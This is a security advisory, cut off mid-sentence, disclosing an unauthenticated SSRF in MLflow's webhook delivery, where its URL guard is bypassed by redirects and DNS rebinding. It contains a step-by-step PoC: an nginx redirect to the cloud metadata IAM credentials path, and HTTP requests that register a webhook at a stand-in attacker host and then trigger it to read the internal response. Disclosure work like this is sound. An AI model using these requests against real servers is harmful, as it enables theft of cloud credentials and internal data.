MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding) (CVE-2026-64849)

### Summary The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server. ### Details Three facts combine: 1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default. 2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`: ```python schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"] if parsed_url.scheme not in schemes: raise ... if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False for addr_info in socket.getaddrinfo(hostname, None): ip = ipaddress.ip_address(addr_info[4][0]) if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata ``` The resolved IP is never carried into the connection. 3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py: ```python def _create_webhook_session(): adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning ... def _send_webhook_request(webhook, payload, event, session): _validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout) # no allow_redirects=False -> 302 followed; redirect Location never re-validated ``` test_webhook returns response_status and response_body to the caller. Bypass vectors: Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning. ### PoC All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the `/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target. Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; } Step 0 — negative control (proves the guard is active; the naive internal URL is rejected): POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]} -> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."} (an https://127.0.0.1/ variant is likewise rejected as a non-public IP) <img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" /> Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url): POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]} -> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}} <img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" /> Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned: POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}} -> 200 {"result":{"success":true,"response_status":200, "response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}} <img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" /> Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a